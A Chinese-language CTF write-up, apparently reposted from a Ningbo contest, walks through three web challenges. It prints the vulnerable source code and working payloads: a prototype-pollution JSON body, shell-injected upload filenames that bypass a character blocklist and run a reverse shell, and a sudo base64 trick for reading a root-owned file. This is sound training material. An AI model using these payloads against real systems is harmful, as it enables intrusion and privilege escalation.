app.use(express.static('public'));
app.use(bodyParser.urlencoded({ extended:&nbsp;true&nbsp;}));

let&nbsp;money = 1000;
const initialMoney = 1000;
let&nbsp;message =&nbsp;'';
const products = [
&nbsp; { name:&nbsp;'帽子', price: 10 },
&nbsp; { name:&nbsp;'棒球', price: 15 },
&nbsp; { name:&nbsp;'iphone', price: 150 },
&nbsp; { name:&nbsp;'flag', price: 1500 },
];

app.get('/showflag', (req, res) => {
&nbsp; res.render('readfile');
});

app.post('/readfile', (req, res) => {
&nbsp; const fileName = req.body.fileName;

if&nbsp;(fileName.includes("fl")) {
&nbsp; &nbsp;&nbsp;return&nbsp;res.status(200).send('你还真读flag啊');
&nbsp; }
&nbsp; fs.readFile("/app/public/"+fileName,&nbsp;'utf8', (err, data) => {
&nbsp; &nbsp;&nbsp;if&nbsp;(err) {
&nbsp; &nbsp; &nbsp; res.status(500).send('Error reading the file');
&nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; res.send(data);
&nbsp; &nbsp; }
&nbsp; });
});

app.get('/', (req, res) => {
&nbsp; res.render('index', { products, money, message });
});

app.get('/buy/:productIndex', (req, res) => {
&nbsp; const productIndex = req.params.productIndex;
let&nbsp;quantity = req.query.quantity || 1;

if&nbsp;(productIndex ===&nbsp;'3') {
&nbsp; &nbsp; quantity = Math.abs(quantity);
&nbsp; &nbsp;&nbsp;if&nbsp;(products[productIndex] && money >= products[productIndex].price * quantity) {
&nbsp; &nbsp; &nbsp; money -= products[productIndex].price * quantity;
&nbsp; &nbsp; &nbsp; message = `购买flag成功啦!给你/showflag这个路由,听说那里面有flag`;

&nbsp; &nbsp; &nbsp; res.render('index', { products, money, message, showAlert:&nbsp;true&nbsp;});
&nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; message =&nbsp;'flag很贵的';
&nbsp; &nbsp; &nbsp; res.redirect('/');
&nbsp; &nbsp; }
&nbsp; }else{
&nbsp; &nbsp;&nbsp;if&nbsp;(products[productIndex] && money >= products[productIndex].price * quantity) {
&nbsp; &nbsp; &nbsp; money -= products[productIndex].price * quantity;
&nbsp; &nbsp; &nbsp; message = `成功购买了&nbsp;${quantity}&nbsp;件&nbsp;"${products[productIndex].name}"!`;

&nbsp; &nbsp; &nbsp; res.render('index', { products, money, message, showAlert:&nbsp;true&nbsp;});
&nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; message =&nbsp;'购买失败,钱不够啊老铁.';
&nbsp; &nbsp; &nbsp; res.redirect('/');
&nbsp; &nbsp; }
&nbsp; }
});

function&nbsp;copy(object1, object2) {
if&nbsp;(typeof object1 !==&nbsp;'object'&nbsp;|| object1 === null ||
&nbsp; &nbsp; &nbsp; typeof object2 !==&nbsp;'object'&nbsp;|| object2 === null) {
&nbsp; &nbsp;&nbsp;return;
&nbsp; }

for&nbsp;(let&nbsp;key&nbsp;in&nbsp;object2) {
&nbsp; &nbsp;&nbsp;if&nbsp;(
&nbsp; &nbsp; &nbsp; typeof object2[key] ===&nbsp;'object'&nbsp;&&
&nbsp; &nbsp; &nbsp; object2[key] !== null &&
&nbsp; &nbsp; &nbsp; typeof object1[key] ===&nbsp;'object'&nbsp;&&
&nbsp; &nbsp; &nbsp; object1[key] !== null
&nbsp; &nbsp; ) {
&nbsp; &nbsp; &nbsp; copy(object1[key], object2[key]);
&nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; object1[key] = object2[key];
&nbsp; &nbsp; }
&nbsp; }
}

app.post('/getflag', require('body-parser').json(),&nbsp;function&nbsp;(req, res, next) {
&nbsp; res.type('html');
&nbsp; const flagFilePath =&nbsp;'/flag';
let&nbsp;flag =&nbsp;'';
&nbsp; fs.readFile(flagFilePath,&nbsp;'utf8', (err, data) => {
&nbsp; &nbsp;&nbsp;if&nbsp;(err) {
&nbsp; &nbsp; &nbsp; console.error(`无法读取文件:&nbsp;${flagFilePath}`);
&nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; flag = data;
&nbsp; &nbsp; &nbsp; var secert = {};
&nbsp; &nbsp; &nbsp; var sess = req.session;
&nbsp; &nbsp; &nbsp;&nbsp;let&nbsp;user = {};
&nbsp; &nbsp; &nbsp; copy(user, req.body);
&nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(secert.testattack ===&nbsp;'admin') {
&nbsp; &nbsp; &nbsp; &nbsp; res.end(flag);

&nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;res.send("no,no,no!");
&nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; });
});

app.get('/reset', (req, res) => {
&nbsp; money = initialMoney;
&nbsp; message =&nbsp;'';
&nbsp; res.redirect('/');
});

app.listen(port, () => {
&nbsp; console.log(`Server is running on http://localhost:${port}`);
});

quantity 什么也没处理就乘,导致了逻辑漏洞

money -= products[productIndex].price * quantity;

接下来就是最基础的原型链污染,都是基于 Object的原型,直接污染即可

{"__proto__":{"testattack":"admin"}}

img2base64

复现,源码如下

import os
import re
import subprocess
from flask import Flask, request, render_template, jsonify

app = Flask(__name__)

UPLOAD_FOLDER =&nbsp;'uploads/'
if&nbsp;not os.path.exists(UPLOAD_FOLDER):
&nbsp; &nbsp; os.makedirs(UPLOAD_FOLDER)

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def checkname(filename):
&nbsp; &nbsp; ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
&nbsp; &nbsp; noip = re.compile(r"\d+\.\d+")
&nbsp; &nbsp;&nbsp;if&nbsp;re.search(ILLEGAL_CHARACTERS, filename):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;if".."in&nbsp;filename :
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;if(noip.findall(filename)):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

@app.route('/')
def upload_form():
&nbsp; &nbsp;&nbsp;return&nbsp;render_template('upload.html')

@app.route('/upload', methods=['POST'])
def upload_file():
&nbsp; &nbsp;&nbsp;if'file'&nbsp;not&nbsp;in&nbsp;request.files:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({"error":&nbsp;"No file part in the request"}), 400

&nbsp; &nbsp; file = request.files['file']
&nbsp; &nbsp;&nbsp;if&nbsp;file.filename ==&nbsp;'':
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({"error":&nbsp;"No file selected"}), 400
&nbsp; &nbsp;&nbsp;if(checkname(file.filename)==False):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({"error":&nbsp;"Not hacking!"}), 500
&nbsp; &nbsp;&nbsp;if&nbsp;file:
&nbsp; &nbsp; &nbsp; &nbsp; file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
&nbsp; &nbsp; &nbsp; &nbsp; file.save(file_path)
&nbsp; &nbsp; &nbsp; &nbsp; result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
&nbsp; &nbsp; &nbsp; &nbsp; encoded_string = result.stdout.strip()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"filename": file.filename,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"base64": encoded_string
&nbsp; &nbsp; &nbsp; &nbsp; })

if&nbsp;__name__ ==&nbsp;'__main__':
&nbsp; &nbsp; app.run(host='0.0.0.0',port=5000)

Python subprocess.run() 命令执行,程序会先进行文件上传,对上传的内容不进行任何检测,直接保存至 uploads/目录下,对上传 filename检测拼接 uploads/+filename传给 run 进行命令执行

@app.route('/upload', methods=['POST'])
def upload_file():
&nbsp; &nbsp;&nbsp;if'file'&nbsp;not&nbsp;in&nbsp;request.files:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({"error":&nbsp;"No file part in the request"}), 400
&nbsp; &nbsp; file = request.files['file']
&nbsp; &nbsp;&nbsp;if&nbsp;file.filename ==&nbsp;'':
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({"error":&nbsp;"No file selected"}), 400
&nbsp; &nbsp;&nbsp;if(checkname(file.filename)==False):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({"error":&nbsp;"Not hacking!"}), 500
&nbsp; &nbsp;&nbsp;if&nbsp;file:
&nbsp; &nbsp; &nbsp; &nbsp; file_path = os.path.join(app.config['UPLOAD_FOLDER'], file.filename)
&nbsp; &nbsp; &nbsp; &nbsp; file.save(file_path)
&nbsp; &nbsp; &nbsp; &nbsp; result = subprocess.run(f"cat {file_path} | base64", shell=True, capture_output=True, text=True)
&nbsp; &nbsp; &nbsp; &nbsp; encoded_string = result.stdout.strip()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jsonify({
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"filename": file.filename,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"base64": encoded_string
&nbsp; &nbsp; &nbsp; &nbsp; })

WAF 过滤了 * = & " % ; < > i a s h t o ! @ ( ) { } [ ] _ ^ ' ~ &nbsp;\ #,没有过滤 |,用管道符插入 RCE

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
def checkname(filename):
&nbsp; &nbsp; ILLEGAL_CHARACTERS = r"[*=&\"%;<>iashto!@()\{\}\[\]_^`\'~\\#]"
&nbsp; &nbsp; noip = re.compile(r"\d+\.\d+")
&nbsp; &nbsp;&nbsp;if&nbsp;re.search(ILLEGAL_CHARACTERS, filename):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;if&nbsp;".."&nbsp;in&nbsp;filename :
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False
&nbsp; &nbsp;&nbsp;if(noip.findall(filename)):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

执行一下 pwd 试试,||前错后执行,cat 尝试读目录必定报错

cat .||pwd

i a s h t o ..这些字符不能用,无法直接在 filename看目录、查文件,但之前看到文件内容是完全不做检测的,subprocess.run设置 shell=true直接启动 shell 环境,且变量可用,$0是 Shell 的位置参数

文件内写入反弹 shell

在通过管道符执行,完成反弹 shell

cat uploads/111|$0|base64

比赛环境内网 FLAG 为 ROOT 权限,sudo -l有 base64,用 base64 读取 FLAG 文件即可,赛后就不模拟这个环境了

sudo base64&nbsp;"$LFILE"&nbsp;| base64 --decode

genshop

源码如下

from flask import Flask, request, send_file
import socket

app = Flask("webserver")

@app.route('/', methods=["GET"])
def index():
&nbsp; &nbsp;&nbsp;return&nbsp;send_file(__file__)

@app.route('/nc', methods=["POST"])
def nc():
&nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; dstport = int(request.form['port'])
&nbsp; &nbsp; &nbsp; &nbsp; data = request.form['data']
&nbsp; &nbsp; &nbsp; &nbsp; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; &nbsp; &nbsp; s.settimeout(1)
&nbsp; &nbsp; &nbsp; &nbsp; s.connect(('127.0.0.1', dstport))
&nbsp; &nbsp; &nbsp; &nbsp; s.send(data.encode())
&nbsp; &nbsp; &nbsp; &nbsp; recvdata = b''
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = s.recv(2048)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not chunk.strip():
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; recvdata += chunk
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;recvdata
&nbsp; &nbsp; except Exception as e:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;str(e)

app.run(host="0.0.0.0", port=8080, threaded=True)

提供了 socket 连接服务,被限制访问在 127.0.0.1,应该没法直接反弹 Shell,可能题目内部设置了别的服务,内网探测之后组合利用漏洞,推测思路是这样,但没环境不好复现了


参考:

https://xz.aliyun.com/news/14369 https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/


免责声明 本文章所涉及仅供技术研究和学习之用。所有操作仅在合法授权的环境中进行,绝不用于任何非法活动。作者对因本文章内容导致的任何后果不承担责任。请读者务必遵守相关法律法规,合理使用本知识。


如对于文章中的技术细节有疑问、题目附件有需要,欢迎私信我,我会尽量帮助解答。期待与您的交流!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:赛查查 《第八届宁波市网络安全大赛 初赛与决赛 Writeup》

密码杂谈(三):迈进现代 网络安全文章

密码杂谈(三):迈进现代

文章总结: 本文阐述了密码学从古典向现代计算科学的演进。算力提升使传统加密失效,现代密码转而依赖数学难题,具备易算难逆特性。文章重点解读柯克霍夫原则,强调安全性
评论:0   参与:  0